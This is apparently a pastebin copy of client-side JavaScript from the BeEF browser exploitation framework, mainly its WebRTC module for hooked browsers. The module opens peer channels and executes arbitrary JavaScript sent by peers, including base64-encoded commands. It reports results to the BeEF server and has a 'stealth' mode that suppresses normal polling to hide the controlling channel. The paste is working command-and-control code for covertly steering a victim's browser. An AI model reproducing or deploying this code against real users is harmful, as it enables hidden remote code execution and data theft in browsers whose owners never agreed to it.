- oc = {};
- oc[oldname('max', key)] = r.ideal;
- cc.optional.push(oc);
- } else {
- oc[oldname('', key)] = r.ideal;
- cc.optional.push(oc);
- }
- }
- if (r.exact !== undefined && typeof r.exact !== 'number') {
- cc.mandatory = cc.mandatory || {};
- cc.mandatory[oldname('', key)] = r.exact;
- } else {
- ['min', 'max'].forEach(function(mix) {
- if (r[mix] !== undefined) {
- cc.mandatory = cc.mandatory || {};
- cc.mandatory[oldname(mix, key)] = r[mix];
- }
- });
- }
- });
- if (c.advanced) {
- cc.optional = (cc.optional || []).concat(c.advanced);
- }
- return cc;
- };
- beef.debug('spec: ' + JSON.stringify(c)); // whitespace for alignment
- c.audio = constraintsToChrome(c.audio);
- c.video = constraintsToChrome(c.video);
- beef.debug('chrome: ' + JSON.stringify(c));
- return navigator.webkitGetUserMedia(c, onSuccess, onError);
- };
- navigator.getUserMedia = getUserMedia;
- // Attach a media stream to an element.
- attachMediaStream = function(element, stream) {
- if (typeof element.srcObject !== 'undefined') {
- element.srcObject = stream;
- } else if (typeof element.src !== 'undefined') {
- element.src = URL.createObjectURL(stream);
- } else {
- beef.debug('Error attaching stream to element.');
- }
- };
- reattachMediaStream = function(to, from) {
- to.src = from.src;
- };
- if (!navigator.mediaDevices) {
- navigator.mediaDevices = {getUserMedia: requestUserMedia,
- enumerateDevices: function() {
- return new Promise(function(resolve) {
- var kinds = {audio: 'audioinput', video: 'videoinput'};
- return MediaStreamTrack.getSources(function(devices) {
- resolve(devices.map(function(device) {
- return {label: device.label,
- kind: kinds[device.kind],
- deviceId: device.id,
- groupId: ''};
- }));
- });
- });
- }};
- // in case someone wants to listen for the devicechange event.
- navigator.mediaDevices.addEventListener = function() { };
- navigator.mediaDevices.removeEventListener = function() { };
- }
- } else if (navigator.mediaDevices && navigator.userAgent.match(
- /Edge\/(\d+).(\d+)$/)) {
- webrtcDetectedBrowser = 'edge';
- webrtcDetectedVersion =
- parseInt(navigator.userAgent.match(/Edge\/(\d+).(\d+)$/)[2], 10);
- // the minimum version still supported by adapter.
- webrtcMinimumVersion = 12;
- attachMediaStream = function(element, stream) {
- element.srcObject = stream;
- };
- reattachMediaStream = function(to, from) {
- to.srcObject = from.srcObject;
- };
- } else {
- // console.log('Browser does not appear to be WebRTC-capable');
- }
- // Returns the result of getUserMedia as a Promise.
- function requestUserMedia(constraints) {
- return new Promise(function(resolve, reject) {
- getUserMedia(constraints, resolve, reject);
- });
- }
- if (typeof module !== 'undefined') {
- module.exports = {
- RTCPeerConnection: window.RTCPeerConnection,
- getUserMedia: getUserMedia,
- attachMediaStream: attachMediaStream,
- reattachMediaStream: reattachMediaStream,
- webrtcDetectedBrowser: webrtcDetectedBrowser,
- webrtcDetectedVersion: webrtcDetectedVersion,
- webrtcMinimumVersion: webrtcMinimumVersion
- //requestUserMedia: not exposed on purpose.
- //trace: not exposed on purpose.
- };
- } else if ((typeof require === 'function') && (typeof define === 'function')) {
- // Expose objects and functions when RequireJS is doing the loading.
- define([], function() {
- return {
- RTCPeerConnection: window.RTCPeerConnection,
- getUserMedia: getUserMedia,
- attachMediaStream: attachMediaStream,
- reattachMediaStream: reattachMediaStream,
- webrtcDetectedBrowser: webrtcDetectedBrowser,
- webrtcDetectedVersion: webrtcDetectedVersion,
- webrtcMinimumVersion: webrtcMinimumVersion
- //requestUserMedia: not exposed on purpose.
- //trace: not exposed on purpose.
- };
- });
- }
- //
- // Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
- // Browser Exploitation Framework (BeEF) - http://beefproject.com
- // See the file 'doc/COPYING' for copying permission
- //
- /**
- * @Literal object: beef.webrtc
- *
- * Manage the WebRTC peer to peer communication channels.
- * This objects contains all the necessary client-side WebRTC components,
- * allowing browsers to use WebRTC to communicate with each other.
- * To provide signaling, the WebRTC extension sets up custom listeners.
- * /rtcsignal - for sending RTC signalling information between peers
- * /rtcmessage - for client-side rtc messages to be submitted back into beef and logged.
- *
- * To ensure signaling gets back to the peers, the hook.js dynamic construction also includes
- * the signalling.
- *
- * This is all mostly a Proof of Concept
- */
- beefrtcs = {}; // To handle multiple peers - we need to have a hash of Beefwebrtc objects
- // The key is the peer id
- globalrtc = {}; // To handle multiple Peers - we have to have a global hash of RTCPeerConnection objects
- // these objects persist outside of everything else
- // The key is the peer id
- rtcstealth = false; // stealth should only be initiated from one peer - this global variable will contain:
- // false - i.e not stealthed; or
- // <peerid> - i.e. the id of the browser which initiated stealth mode
- rtcrecvchan = {}; // To handle multiple event channels - we need to have a global hash of these
- // The key is the peer id
- // Beefwebrtc object - wraps everything together for a peer connection
- // One of these per peer connection, and will be stored in the beefrtc global hash
- function Beefwebrtc(initiator,peer,turnjson,stunservers,verbparam) {
- this.verbose = typeof verbparam !== 'undefined' ? verbparam : false; // whether this object is verbose or not
- this.initiator = typeof initiator !== 'undefined' ? initiator : 0; // if 1 - this is the caller; if 0 - this is the receiver
- this.peerid = typeof peer !== 'undefined' ? peer : null; // id of this rtc peer
- this.turnjson = turnjson; // set of TURN servers in the format:
- // {"username": "<username", "password": "<password>", "uris": [
- // "turn:<ip>:<port>?transport=<udp/tcp>",
- // "turn:<ip>:<port>?transport=<udp/tcp>"]}
- this.started = false; // Has signaling / dialing started for this peer
- this.gotanswer = false; // For the caller - this determines whether they have received an SDP answer from the receiver
- this.turnDone = false; // does the pcConfig have TURN servers added to it?
- this.signalingReady = false; // the initiator (Caller) is always ready to signal. So this sets to true during init
- // the receiver will set this to true once it receives an SDP 'offer'
- this.msgQueue = []; // because the handling of SDP signals may happen in any order - we need a queue for them
- this.pcConfig = null; // We set this during init
- this.pcConstraints = {"optional": [{"googImprovedWifiBwe": true}]} // PeerConnection constraints
- this.offerConstraints = {"optional": [], "mandatory": {}}; // Default SDP Offer Constraints - used in the caller
- this.sdpConstraints = {'optional': [{'RtpDataChannels':true}]}; // Default SDP Constraints - used by caller and receiver
- this.gatheredIceCandidateTypes = { Local: {}, Remote: {} }; // ICE Candidates
- this.allgood = false; // Is this object / peer connection with the nominated peer ready to go?
- this.dataChannel = null; // The data channel used by this peer
- this.stunservers = stunservers; // set of STUN servers, in the format:
- // ["stun:stun.l.google.com:19302","stun:stun1.l.google.com:19302"]
- }
- // Initialize the object
- Beefwebrtc.prototype.initialize = function() {
- if (this.peerid == null) {
- return 0; // no peerid - NO DICE
- }
- // Initialise the pcConfig hash with the provided stunservers
- var stuns = JSON.parse(this.stunservers);
- this.pcConfig = {"iceServers": [{"urls":stuns, "username":"user",
- "credential":"pass"}]};
- // We're not getting the browsers to request their own TURN servers, we're specifying them through BeEF
- // this.forceTurn(this.turnjson);
- this.turnDone = true;
- // Caller is always ready to create peerConnection.
- this.signalingReady = this.initiator;
- // Start .. maybe
- this.maybeStart();
- // If the window is closed, send a signal to beef .. this is not all that great, so just commenting out
- // window.onbeforeunload = function() {
- // this.sendSignalMsg({type: 'bye'});
- // }
- return 1; // because .. yeah .. we had a peerid - this is good yar.
- }
- //Forces the TURN configuration (we can't query that computeengine thing because it's CORS is restrictive)
- //These values are now simply passed in from the config.yaml for the webrtc extension
- Beefwebrtc.prototype.forceTurn = function(jason) {
- var turnServer = JSON.parse(jason);
- var iceServers = createIceServers(turnServer.uris,
- turnServer.username,
- turnServer.password);
- if (iceServers !== null) {
- this.pcConfig.iceServers = this.pcConfig.iceServers.concat(iceServers);
- }
- beef.debug("Got TURN servers, will try and maybestart again..");
- this.turnDone = true;
- this.maybeStart();
- }
- // Try and establish the RTC connection
- Beefwebrtc.prototype.createPeerConnection = function() {
- beef.debug('Creating RTCPeerConnnection with the following options:\n' +
- ' config: \'' + JSON.stringify(this.pcConfig) + '\';\n' +
- ' constraints: \'' + JSON.stringify(this.pcConstraints) + '\'.');
- try {
- // Create an RTCPeerConnection via the polyfill (webrtcadapter.js).
- globalrtc[this.peerid] = new RTCPeerConnection(this.pcConfig, this.pcConstraints);
- globalrtc[this.peerid].onicecandidate = this.onIceCandidate;
- beef.debug('Created RTCPeerConnnection with the following options:\n' +
- ' config: \'' + JSON.stringify(this.pcConfig) + '\';\n' +
- ' constraints: \'' + JSON.stringify(this.pcConstraints) + '\'.');
- } catch (e) {
- beef.debug('Failed to create PeerConnection, exception: ');
- beef.debug(e);
- return;
- }
- // Assign event handlers to signalstatechange, iceconnectionstatechange, datachannel etc
- globalrtc[this.peerid].onsignalingstatechange = this.onSignalingStateChanged;
- globalrtc[this.peerid].oniceconnectionstatechange = this.onIceConnectionStateChanged;
- globalrtc[this.peerid].ondatachannel = this.onDataChannel;
- this.dataChannel = globalrtc[this.peerid].createDataChannel("sendDataChannel", {reliable:false});
- }
- // When the PeerConnection receives a new ICE Candidate
- Beefwebrtc.prototype.onIceCandidate = function(event) {
- var peerid = null;
- for (var k in beefrtcs) {
- if (beefrtcs[k].allgood === false) {
- peerid = beefrtcs[k].peerid;
- }
- }
- beef.debug("Handling onicecandidate event while connecting to peer: " + peerid + ". Event received:");
- beef.debug(event);
- if (event.candidate) {
- // Send the candidate to the peer via the BeEF signalling channel
- beefrtcs[peerid].sendSignalMsg({type: 'candidate',
- label: event.candidate.sdpMLineIndex,
- id: event.candidate.sdpMid,
- candidate: event.candidate.candidate});
- // Note this ICE candidate locally
- beefrtcs[peerid].noteIceCandidate("Local", beefrtcs[peerid].iceCandidateType(event.candidate.candidate));
- } else {
- beef.debug('End of candidates.');
- }
- }
- // For all rtc signalling messages we receive as part of hook.js polling - we have to process them with this function
- // This will either add messages to the msgQueue and try and kick off maybeStart - or it'll call processSignalingMessage
- // against the message directly
- Beefwebrtc.prototype.processMessage = function(message) {
- beef.debug('Signalling Message - S->C: ' + JSON.stringify(message));
- var msg = JSON.parse(message);
- if (!this.initiator && !this.started) { // We are currently the receiver AND we have NOT YET received an SDP Offer
- beef.debug('processing the message, as a receiver');
- if (msg.type === 'offer') { // This IS an SDP Offer
- beef.debug('.. and the message is an offer .. ');
- this.msgQueue.unshift(msg); // put it on the top of the msgqueue
- this.signalingReady = true; // As the receiver, we've now got an SDP Offer, so lets set signalingReady to true
- this.maybeStart(); // Lets try and start again - this will end up with calleeStart() getting executed
- } else { // This is NOT an SDP Offer - as the receiver, just add it to the queue
- beef.debug(' .. the message is NOT an offer .. ');
- this.msgQueue.push(msg);
- }
- } else if (this.initiator && !this.gotanswer) { // We are currently the caller AND we have NOT YET received the SDP Answer
- beef.debug('processing the message, as the sender, no answers yet');
- if (msg.type === 'answer') { // This IS an SDP Answer
- beef.debug('.. and we have an answer ..');
- this.processSignalingMessage(msg); // Process the message directly
- this.gotanswer = true; // We have now received an answer
- //process all other queued message...
- while (this.msgQueue.length > 0) {
- this.processSignalingMessage(this.msgQueue.shift());
- }
- } else { // This is NOT an SDP Answer - as the caller, just add it to the queue
- beef.debug('.. not an answer ..');
- this.msgQueue.push(msg);
- }
- } else { // For all other messages just drop them in the queue
- beef.debug('processing a message, but, not as a receiver, OR, the rtc is already up');
- this.processSignalingMessage(msg);
- }
- }
- // Send a signalling message ..
- Beefwebrtc.prototype.sendSignalMsg = function(message) {
- var msgString = JSON.stringify(message);
- beef.debug('Signalling Message - C->S: ' + msgString);
- beef.net.send('/rtcsignal',0,{targetbeefid: this.peerid, signal: msgString});
- }
- // Used to record ICS candidates locally
- Beefwebrtc.prototype.noteIceCandidate = function(location, type) {
- if (this.gatheredIceCandidateTypes[location][type])
- return;
- this.gatheredIceCandidateTypes[location][type] = 1;
- // updateInfoDiv();
- }
- // When the signalling state changes. We don't actually do anything with this except log it.
- Beefwebrtc.prototype.onSignalingStateChanged = function(event) {
- beef.debug("Signalling has changed to: " + event.target.signalingState);
- }
- // When the ICE Connection State changes - this is useful to determine connection statuses with peers.
- Beefwebrtc.prototype.onIceConnectionStateChanged = function(event) {
- var peerid = null;
- for (k in globalrtc) {
- if ((globalrtc[k].localDescription.sdp === event.target.localDescription.sdp) && (globalrtc[k].localDescription.type === event.target.localDescription.type)) {
- peerid = k;
- }
- }
- beef.debug("ICE with peer: " + peerid + " has changed to: " + event.target.iceConnectionState);
- // ICE Connection Status has connected - this is good. Normally means the RTCPeerConnection is ready! Although may still look for
- // better candidates or connections
- if (event.target.iceConnectionState === 'connected') {
- //Send status to peer
- window.setTimeout(function() {
- beefrtcs[peerid].sendPeerMsg('ICE Status: '+event.target.iceConnectionState);
- beefrtcs[peerid].allgood = true;
- },1000);
- }
- // Completed is similar to connected. Except, each of the ICE components are good, and no more testing remote candidates is done.
- if (event.target.iceConnectionState === 'completed') {
- window.setTimeout(function() {
- beefrtcs[peerid].sendPeerMsg('ICE Status: '+event.target.iceConnectionState);
- beefrtcs[peerid].allgood = true;
- },1000);
- }
- if ((rtcstealth == peerid) && (event.target.iceConnectionState === 'disconnected')) {
- //I was in stealth mode, talking back to this peer - but it's gone offline.. come out of stealth
- rtcstealth = false;
- beefrtcs[peerid].allgood = false;
- beef.net.send('/rtcmessage',0,{peerid: peerid, message: peerid + " - has apparently gotten disconnected"});
- } else if ((rtcstealth == false) && (event.target.iceConnectionState === 'disconnected')) {
- //I was not in stealth, and this peer has gone offline - send a message
- beefrtcs[peerid].allgood = false;
- beef.net.send('/rtcmessage',0,{peerid: peerid, message: peerid + " - has apparently gotten disconnected"});
- }
- // We don't handle situations where a stealthed peer loses a peer that is NOT the peer that made it go into stealth
- // This is possibly a bad idea - @xntrik
- }
- // This is the function when a peer tells us to go into stealth by sending a dataChannel message of "!gostealth"
- Beefwebrtc.prototype.goStealth = function() {
- //stop the beef updater
- rtcstealth = this.peerid; // this is a global variable
- beef.updater.lock = true;
- this.sendPeerMsg('Going into stealth mode');
- setTimeout(function() {rtcpollPeer()}, beef.updater.xhr_poll_timeout * 5);
- }
- // This is the actual poller when in stealth, it is global as well because we're using the setTimeout to execute it
- rtcpollPeer = function() {
- if (rtcstealth == false) {
- //my peer has disabled stealth mode
- beef.updater.lock = false;
- return;
- }
- beef.debug('lub dub');
- beefrtcs[rtcstealth].sendPeerMsg('Stayin alive'); // This is the heartbeat we send back to the peer that made us stealth
- setTimeout(function() {rtcpollPeer()}, beef.updater.xhr_poll_timeout * 5);
- }
- // When a data channel has been established - within here is the message handling function as well
- Beefwebrtc.prototype.onDataChannel = function(event) {
- var peerid = null;
- for (k in globalrtc) {
- if ((globalrtc[k].localDescription.sdp === event.currentTarget.localDescription.sdp) && (globalrtc[k].localDescription.type === event.currentTarget.localDescription.type)) {
- peerid = k;
- }
- }
- beef.debug("Peer: " + peerid + " has just handled the onDataChannel event");
- rtcrecvchan[peerid] = event.channel;
- // This is the onmessage event handling within the datachannel
- rtcrecvchan[peerid].onmessage = function(ev2) {
- beef.debug("Received an RTC message from my peer["+peerid+"]: " + ev2.data);
- // We've received the command to go into stealth mode
- if (ev2.data == "!gostealth") {
- if (beef.updater.lock == true) {
- setTimeout(function() {beefrtcs[peerid].goStealth()},beef.updater.xhr_poll_timeout * 0.4);
- } else {
- beefrtcs[peerid].goStealth();
- }
- // The message to come out of stealth
- } else if (ev2.data == "!endstealth") {
- if (rtcstealth != null) {
- beefrtcs[rtcstealth].sendPeerMsg("Coming out of stealth...");
- rtcstealth = false;
- }
- // Command to perform arbitrary JS (while stealthed)
- } else if ((rtcstealth != false) && (ev2.data.charAt(0) == "%")) {
- beef.debug('message was a command: '+ev2.data.substring(1) + ' .. and I am in stealth mode');
- beefrtcs[rtcstealth].sendPeerMsg("Command result - " + beefrtcs[rtcstealth].execCmd(ev2.data.substring(1)));
- // Command to perform arbitrary JS (while NOT stealthed)
- } else if ((rtcstealth == false) && (ev2.data.charAt(0) == "%")) {
- beef.debug('message was a command - we are not in stealth. Command: '+ ev2.data.substring(1));
- beefrtcs[peerid].sendPeerMsg("Command result - " + beefrtcs[peerid].execCmd(ev2.data.substring(1)));
- // B64d command from the /cmdexec API
- } else if (ev2.data.charAt(0) == "@") {
- beef.debug('message was a b64d command');
- var fn = new Function(atob(ev2.data.substring(1)));
- fn();
- if (rtcstealth != false) { // force stealth back on ?
- beef.updater.execute_commands(); // FORCE execution while stealthed
- beef.updater.lock = true;
- }
- // Just a plain text message .. (while stealthed)
- } else if (rtcstealth != false) {
- beef.debug('received a message, apparently we are in stealth - so just send it back to peer['+rtcstealth+']');
- beefrtcs[rtcstealth].sendPeerMsg(ev2.data);
- // Just a plan text message (while NOT stealthed)
- } else {
- beef.debug('received a message from peer['+peerid+'] - sending it back to beef');
- beef.net.send('/rtcmessage',0,{peerid: peerid, message: ev2.data});
- }
- }
- }
- // How the browser executes received JS (this is pretty hacky)
- Beefwebrtc.prototype.execCmd = function(input) {
- var fn = new Function(input);
- var res = fn();
- return res.toString();
- }
- // Shortcut function to SEND a data messsage
- Beefwebrtc.prototype.sendPeerMsg = function(msg) {
- beef.debug('sendPeerMsg to ' + this.peerid);
- this.dataChannel.send(msg);
- }
- // Try and initiate, will check that system hasn't started, and that signaling is ready, and that TURN servers are ready
- Beefwebrtc.prototype.maybeStart = function() {
- beef.debug("maybe starting ... ");
- if (!this.started && this.signalingReady && this.turnDone) {
- beef.debug('Creating PeerConnection.');
- this.createPeerConnection();
- this.started = true;
- if (this.initiator) {
- beef.debug("Making the call now .. bzz bzz");
- this.doCall();
- } else {
- beef.debug("Receiving a call now .. somebuddy answer da fone?");
- this.calleeStart();
- }
- } else {
- beef.debug("Not ready to start just yet..");
- }
- }
- // RTC - create an offer - the caller runs this, while the receiver runs calleeStart()
- Beefwebrtc.prototype.doCall = function() {
- var constraints = this.mergeConstraints(this.offerConstraints, this.sdpConstraints);
- var self = this;
- globalrtc[this.peerid].createOffer(this.setLocalAndSendMessage, this.onCreateSessionDescriptionError, constraints);
- beef.debug('Sending offer to peer, with constraints: \n' +
- ' \'' + JSON.stringify(constraints) + '\'.');
- }
- // Helper method to merge SDP constraints
- Beefwebrtc.prototype.mergeConstraints = function(cons1, cons2) {
- var merged = cons1;
- for (var name in cons2.mandatory) {
- merged.mandatory[name] = cons2.mandatory[name];
- }
- merged.optional.concat(cons2.optional);
- return merged;
- }
- // Sets the local RTC session description, sends this information back (via signalling)
- // The caller uses this to set it's local description, and it then has to send this to the peer (via signalling)
- // The receiver uses this information too - and vice-versa - hence the signaling
- Beefwebrtc.prototype.setLocalAndSendMessage = function(sessionDescription) {
- // This fucking function does NOT receive a 'this' state, and you can't pass additional parameters
- // Stupid .. javascript :(
- // So I'm hacking it to find the peerid gah - I believe *this* is what means you can't establish peers concurrently
- // i.e. this browser will have to wait for this peerconnection to establish before attempting to connect to the next one..
- var peerid = null;
- for (var k in beefrtcs) {
- if (beefrtcs[k].allgood === false) {
- peerid = beefrtcs[k].peerid;
- }
- }
- beef.debug("For peer: " + peerid + " Running setLocalAndSendMessage...");
- globalrtc[peerid].setLocalDescription(sessionDescription, onSetSessionDescriptionSuccess, onSetSessionDescriptionError);
- beefrtcs[peerid].sendSignalMsg(sessionDescription);
- function onSetSessionDescriptionSuccess() {
- beef.debug('Set session description success.');
- }
- function onSetSessionDescriptionError() {
- beef.debug('Failed to set session description');
- }
- }
- // If the browser can't build an SDP
- Beefwebrtc.prototype.onCreateSessionDescriptionError = function(error) {
- beef.debug('Failed to create session description: ' + error.toString());
- }
- // If the browser successfully sets a remote description
- Beefwebrtc.prototype.onSetRemoteDescriptionSuccess = function() {
- beef.debug('Set remote session description successfully');
- }
- // Check for messages - which includes signaling from a calling peer - this gets kicked off in maybeStart()
- Beefwebrtc.prototype.calleeStart = function() {
- // Callee starts to process cached offer and other messages.
- while (this.msgQueue.length > 0) {
- this.processSignalingMessage(this.msgQueue.shift());
- }
- }
- // Process messages, this is how we handle the signaling messages, such as candidate info, offers, answers
- Beefwebrtc.prototype.processSignalingMessage = function(message) {
- if (!this.started) {
- beef.debug('peerConnection has not been created yet!');
- return;
- }
- if (message.type === 'offer') {
- beef.debug("Processing signalling message: OFFER");
- if (navigator.mozGetUserMedia) { // Mozilla shim fuckn shit - since the new
- // version of FF - which no longer works
- beef.debug("Moz shim here");
- globalrtc[this.peerid].setRemoteDescription(
- new RTCSessionDescription(message),
- function() {
- // globalrtc[this.peerid].createAnswer(function(answer) {
- // globalrtc[this.peerid].setLocalDescription(
- var peerid = null;
- for (var k in beefrtcs) {
- if (beefrtcs[k].allgood === false) {
- peerid = beefrtcs[k].peerid;
- }
- }
- globalrtc[peerid].createAnswer(function(answer) {
- globalrtc[peerid].setLocalDescription(
- new RTCSessionDescription(answer),
- function() {
- beefrtcs[peerid].sendSignalMsg(answer);
- },function(error) {
- beef.debug("setLocalDescription error: " + error);
- });
- },function(error) {
- beef.debug("createAnswer error: " +error);
- });
- },function(error) {
- beef.debug("setRemoteDescription error: " + error);
- });
- } else {
- this.setRemote(message);
- this.doAnswer();
- }
- } else if (message.type === 'answer') {
- beef.debug("Processing signalling message: ANSWER");
- if (navigator.mozGetUserMedia) { // terrible moz shim - as for the offer
- beef.debug("Moz shim here");
- globalrtc[this.peerid].setRemoteDescription(
- new RTCSessionDescription(message),
- function() {},
- function(error) {
- beef.debug("setRemoteDescription error: " + error);
- });
- } else {
- this.setRemote(message);
- }
- } else if (message.type === 'candidate') {
- beef.debug("Processing signalling message: CANDIDATE");
- var candidate = new RTCIceCandidate({sdpMLineIndex: message.label,
- candidate: message.candidate});
- this.noteIceCandidate("Remote", this.iceCandidateType(message.candidate));
- globalrtc[this.peerid].addIceCandidate(candidate, this.onAddIceCandidateSuccess, this.onAddIceCandidateError);
- } else if (message.type === 'bye') {
- this.onRemoteHangup();
- }
- }
- // Used to set the RTC remote session
- Beefwebrtc.prototype.setRemote = function(message) {
- globalrtc[this.peerid].setRemoteDescription(new RTCSessionDescription(message),
- this.onSetRemoteDescriptionSuccess, this.onSetSessionDescriptionError);
- }
- // As part of the processSignalingMessage function, we check for 'offers' from peers. If there's an offer, we answer, as below
- Beefwebrtc.prototype.doAnswer = function() {
- beef.debug('Sending answer to peer.');
- globalrtc[this.peerid].createAnswer(this.setLocalAndSendMessage, this.onCreateSessionDescriptionError, this.sdpConstraints);
- }
- // Helper method to determine what kind of ICE Candidate we've received
- Beefwebrtc.prototype.iceCandidateType = function(candidateSDP) {
- if (candidateSDP.indexOf("typ relay ") >= 0)
- return "TURN";
- if (candidateSDP.indexOf("typ srflx ") >= 0)
- return "STUN";
- if (candidateSDP.indexOf("typ host ") >= 0)
- return "HOST";
- return "UNKNOWN";
- }
- // Event handler for successful addition of ICE Candidates
- Beefwebrtc.prototype.onAddIceCandidateSuccess = function() {
- beef.debug('AddIceCandidate success.');
- }
- // Event handler for unsuccessful addition of ICE Candidates
- Beefwebrtc.prototype.onAddIceCandidateError = function(error) {
- beef.debug('Failed to add Ice Candidate: ' + error.toString());
- }
- // If a peer hangs up (we bring down the peerconncetion via the stop() method)
- Beefwebrtc.prototype.onRemoteHangup = function() {
- beef.debug('Session terminated.');
- this.initiator = 0;
- // transitionToWaiting();
- this.stop();
- }
- // Bring down the peer connection
- Beefwebrtc.prototype.stop = function() {
- this.started = false; // we're no longer started
- this.signalingReady = false; // signalling isn't ready
- globalrtc[this.peerid].close(); // close the RTCPeerConnection option
- globalrtc[this.peerid] = null; // Remove it
- this.msgQueue.length = 0; // clear the msgqueue
- rtcstealth = false; // no longer stealth
- this.allgood = false; // allgood .. NAH UH
- }
- // The actual beef.webrtc wrapper - this exposes only two functions directly - start, and status
- // These are the methods which are executed via the custom extension of the hook.js
- beef.webrtc = {
- // Start the RTCPeerConnection process
- start: function(initiator,peer,turnjson,stunservers,verbose) {
- if (peer in beefrtcs) {
- // If the RTC peer is not in a good state, try kickng it off again
- // This is possibly not the correct way to handle this issue though :/ I.e. we'll now have TWO of these objects :/
- if (beefrtcs[peer].allgood == false) {
- beefrtcs[peer] = new Beefwebrtc(initiator, peer, turnjson, stunservers, verbose);
- beefrtcs[peer].initialize();
- }
- } else {
- // Standard behaviour for new peer connections
- beefrtcs[peer] = new Beefwebrtc(initiator,peer,turnjson, stunservers, verbose);
- beefrtcs[peer].initialize();
- }
- },
- // Check the status of all my peers ..
- status: function(me) {
- if (Object.keys(beefrtcs).length > 0) {
- for (var k in beefrtcs) {
- if (beefrtcs.hasOwnProperty(k)) {
- beef.net.send('/rtcmessage',0,{peerid: k, message: "Status checking - allgood: " + beefrtcs[k].allgood});
- }
- }
- } else {
- beef.net.send('/rtcmessage',0,{peerid: me, message: "No peers?"});
- }
- }
- }
- beef.regCmp('beef.webrtc');
- //
- // Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
- // Browser Exploitation Framework (BeEF) - http://beefproject.com
- // See the file 'doc/COPYING' for copying permission
- //
- /*
- Sometimes there are timing issues and looks like beef_init
- is not called at all (always in cross-origin situations,
- for example calling the hook with jquery getScript,
- or sometimes with event handler injections).
- To fix this, we call again beef_init after 1 second.
- Cheers to John Wilander that discussed this bug with me at OWASP AppSec Research Greece
- antisnatchor
- */
- //setTimeout(beef_init, 1000);
Add Comment
Please, Sign In to add comment